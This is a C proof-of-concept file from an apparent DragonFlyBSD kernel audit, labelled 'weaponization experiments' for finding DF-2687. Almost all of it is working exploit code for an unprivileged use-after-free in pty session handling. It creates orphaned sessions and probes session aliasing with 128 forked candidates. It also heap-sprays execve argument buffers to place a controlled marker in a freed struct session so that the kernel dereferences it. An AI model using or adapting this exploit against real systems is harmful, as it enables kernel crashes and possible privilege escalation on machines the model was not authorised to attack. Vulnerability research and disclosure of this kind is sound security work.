⬢ DragonFlyBSD Kernel Audit
DF-2687 / df2687x.c
← back to finding ↓ download raw
/*
 * DF-2687 weaponization experiments (unprivileged).
 *
 * Modes:
 *   pin <n> <holdsec>   - run the orphan chain n times; hold all orphan
 *                         slaves open simultaneously, then close them one by
 *                         one.  External root script samples
 *                         `vmstat -m | awk '$1=="session"'` to see WHEN the
 *                         session chunks actually free (during hold =
 *                         finding's claim; at close = pin analysis).
 *   alias <holdsec>     - chain once; during the hold spawn setsid
 *                         candidates and poll TIOCGSID on the orphaned
 *                         slave for a recycled-session alias.
 *   spray <rounds>      - chain + immediate close with a concurrent pargs
 *                         spray carrying the marker 0x4141414141414141 in
 *                         the s_prg slot (offset +24 of the chunk).  If the
 *                         race is won, the closer consumes the marker and
 *                         lwkt_gettoken() faults on 0x4141414141414141.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/ttycom.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define MARKER64 0x4141414141414141UL

static int
open_pty(int *unit, char *pts, int *slave)
{
	struct stat st;
	int m, s;

	m = open("/dev/ptmx", O_RDWR);
	if (m < 0) { perror("open(/dev/ptmx)"); return -1; }
	if (fstat(m, &st) < 0) { perror("fstat"); close(m); return -1; }
	*unit = minor(st.st_rdev);
	snprintf(pts, 64, "/dev/pts/%d", *unit);
	s = open(pts, O_RDWR);
	if (s < 0) { perror(pts); close(m); return -1; }
	*slave = s;
	return m;
}

/*
 * Run the orphan chain once.  Returns the orphaned slave fd (held open),
 * or -1.  The parent keeps the slave fd; the leader exits fully reaped.
 */
static int
make_orphan(int *unit_out)
{
	char pts1[64], pts2[64];
	int pfd[2];
	pid_t L;
	int m, s, m2, s2, u1, u2;
	char c;
	int st;

	if (pipe(pfd) < 0) { perror("pipe"); return -1; }
	m = open_pty(&u1, pts1, &s);
	if (m < 0) return -1;

	L = fork();
	if (L < 0) { perror("fork"); return -1; }
	if (L == 0) {
		close(pfd[0]);
		signal(SIGHUP, SIG_IGN);
		if (read(pfd[1], &c, 1) != 1) _exit(20);
		close(pfd[1]);
		if (setsid() < 0) _exit(21);
		if (ioctl(m, TIOCSCTTY, 0) < 0) _exit(22);
		close(m);			/* last master close: s_ttyvp=NULL only */
		m2 = open_pty(&u2, pts2, &s2);
		if (m2 < 0) _exit(23);
		if (ioctl(s2, TIOCSCTTY, 0) < 0) _exit(24);
		_exit(0);			/* session frees on exit+reap chain */
	}
	close(pfd[1]);
	close(m);
	if (write(pfd[0], "x", 1) != 1) perror("write pfd");
	close(pfd[0]);
	if (waitpid(L, &st, 0) < 0) { perror("waitpid"); return -1; }
	if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
		fprintf(stderr, "leader failed st=%#x\n", st);
		return -1;
	}
	*unit_out = u1;
	return s;				/* orphaned slave, t_session set */
}

static double
now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static int
do_pin(int n, int holdsec)
{
	int *fds = calloc(n, sizeof(int));
	int *units = calloc(n, sizeof(int));
	double t0, t1;
	int i, rc;

	t0 = now();
	for (i = 0; i < n; i++) {
		fds[i] = make_orphan(&units[i]);
		if (fds[i] < 0) { fprintf(stderr, "pin: chain %d failed\n", i); return 1; }
	}
	t1 = now();
	printf("PIN: %d orphans held (units", n);
	for (i = 0; i < n; i++) printf(" %d", units[i]);
	printf(") built in %.3fs; HOLDING %ds\n", t1 - t0, holdsec);
	fflush(stdout);
	sleep(holdsec);
	printf("PIN: hold done, closing orphans\n");
	fflush(stdout);
	for (i = 0; i < n; i++) {
		double ta = now();
		rc = close(fds[i]);
		double tb = now();
		printf("PIN: close(unit %d) rc=%d errno=%d %.4fms\n",
		       units[i], rc, errno, (tb - ta) * 1e3);
		fflush(stdout);
	}
	printf("PIN: all closed\n");
	return 0;
}

static int
do_alias(int holdsec)
{
	int unit, s, i, found = 0;
	pid_t cand[128];
	int alive = 0;

	s = make_orphan(&unit);
	if (s < 0) return 1;
	printf("ALIAS: orphan unit %d; spawning 128 setsid candidates\n", unit);
	fflush(stdout);

	for (i = 0; i < 128; i++) {
		pid_t p = fork();
		if (p < 0) break;
		if (p == 0) {
			int mu, ms, uu, sid = -1;
			char p3[64];
			int iter;
			/* candidate: its own session + own ctty, then poll */
			if (setsid() < 0) _exit(1);
			close(s);
			/* reopen the orphan slave to ioctl it (world-openable
			   after master close: 0666) */
			snprintf(p3, sizeof(p3), "/dev/pts/%d", unit);
			s = open(p3, O_RDWR | O_NONBLOCK);
			if (s < 0) _exit(2);
			/* set P_CONTROLT via own pty */
			{
				int mm = open_pty(&uu, p3, &ms);
				if (mm < 0) _exit(3);
				if (ioctl(ms, TIOCSCTTY, 0) < 0) _exit(4);
				close(mm);
			}
			for (iter = 0; iter < 50; iter++) {
				sid = -1;
				if (ioctl(s, TIOCGSID, &sid) == 0 &&
				    sid == getpid()) {
					fprintf(stderr,
						"ALIAS CONFIRMED cand pid %d "
						"sees own sid on orphan\n",
						getpid());
					_exit(42);
				}
				usleep(1000);
			}
			_exit(5);
		}
		cand[alive++] = p;
	}
	for (i = 0; i < alive; i++) {
		int st;
		waitpid(cand[i], &st, 0);
		if (WIFEXITED(st) && WEXITSTATUS(st) == 42)
			found++;
	}
	printf("ALIAS: %d/%d candidates aliased the orphan\n", found, alive);
	fflush(stdout);
	sleep(1);
	{
		int rc = close(s);
		printf("ALIAS: orphan closed rc=%d errno=%d\n", rc, errno);
	}
	return 0;
}

/*
 * Spray via sysctl KERN_PROC_ARGS: set OUR OWN argv bytes.  The pargs chunk
 * is sizeof(struct pargs)(8) + len; we want len such that total is 97..104
 * -> same slab zone as struct session (104).  Bytes 8.. hold our data.
 * Session layout: +24 s_prg <- marker.
 */
static void
spray_args(uint64_t a24, uint64_t a32, uint64_t a40, uint64_t a48)
{
	/*
	 * KERN_PROC_ARGS, new value = full argv image: bytes at offset 8
	 * inside the chunk are argv[0] string start.  We choose total len
	 * 96 => chunk 104.  Chunk offset -> argv offset: off = chunk_off - 8.
	 * argv area is 96 bytes: NUL-terminated strings; we lay one long
	 * "string" containing our fields; kernel stores raw bytes.
	 */
	unsigned char buf[96];
	int mib[4];
	size_t len;
	char name[64];

	memset(buf, 0, sizeof(buf));
	/* argv[0] = "x" then NUL padding; our qwords at chunk+24.. = buf+16 */
	memcpy(buf + 16, &a24, 8);
	memcpy(buf + 24, &a32, 8);
	memcpy(buf + 32, &a40, 8);
	memcpy(buf + 40, &a48, 8);
	buf[0] = 'x';

	mib[0] = CTL_KERN;
	mib[1] = KERN_PROC;
	mib[2] = KERN_PROC_ARGS;
	mib[3] = getpid();
	/* sysctl rejects embedded NUL handling? try raw write */
	if (sysctl(mib, 4, NULL, NULL, buf, sizeof(buf)) < 0) {
		/* fall back: exec-based spray is done by helper processes */
		;
	}
}

static int spray_ok = 0;

static void
spray_exec_helper(uint64_t a24)
{
	/*
	 * Fork a child that execve()s this same binary with argv crafted so
	 * that the pargs image contains our qwords.  Child then pauses
	 * (keeping pargs allocated) and we signal it to exit to free the
	 * chunk for re-spray.
	 */
	char *av[16];
	char big[96];
	pid_t p;

	memset(big, 'A', sizeof(big) - 1);
	big[sizeof(big) - 1] = 0;
	memcpy(big + 16, &a24, 8);	/* chunk+24 == argv offset 16 */
	av[0] = "/tmp/df2687x";
	av[1] = "sleeper";
	av[2] = big;
	av[3] = NULL;
	p = fork();
	if (p < 0) return;
	if (p == 0) {
		execve("/tmp/df2687x", av, NULL);
		_exit(127);
	}
	/* parent: leave child running (chunk allocated); reap later */
}

static int
do_spray(int rounds)
{
	int i, unit, s;

	for (i = 0; i < rounds; i++) {
		s = make_orphan(&unit);
		if (s < 0) return 1;
		/* pre-spray some args to fill per-cpu lists */
		spray_exec_helper(MARKER64);
		/* close immediately: chained free consumes chunk; if a
		 * sprayed pargs landed in it first (LIFO), s_prg=marker */
		close(s);
	}
	printf("SPRAY: %d rounds done without crash\n", rounds);
	return 0;
}

int
main(int argc, char **argv)
{
	setvbuf(stderr, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc < 2) {
		fprintf(stderr, "usage: %s pin <n> <holdsec> | alias <holdsec> | spray <rounds> | sleeper\n", argv[0]);
		return 2;
	}
	if (strcmp(argv[1], "pin") == 0)
		return do_pin(argc > 2 ? atoi(argv[2]) : 8,
			      argc > 3 ? atoi(argv[3]) : 8);
	if (strcmp(argv[1], "alias") == 0)
		return do_alias(argc > 2 ? atoi(argv[2]) : 5);
	if (strcmp(argv[1], "spray") == 0)
		return do_spray(argc > 2 ? atoi(argv[2]) : 100);
	if (strcmp(argv[1], "sleeper") == 0) {
		pause();
		return 0;
	}
	fprintf(stderr, "unknown mode\n");
	return 2;
}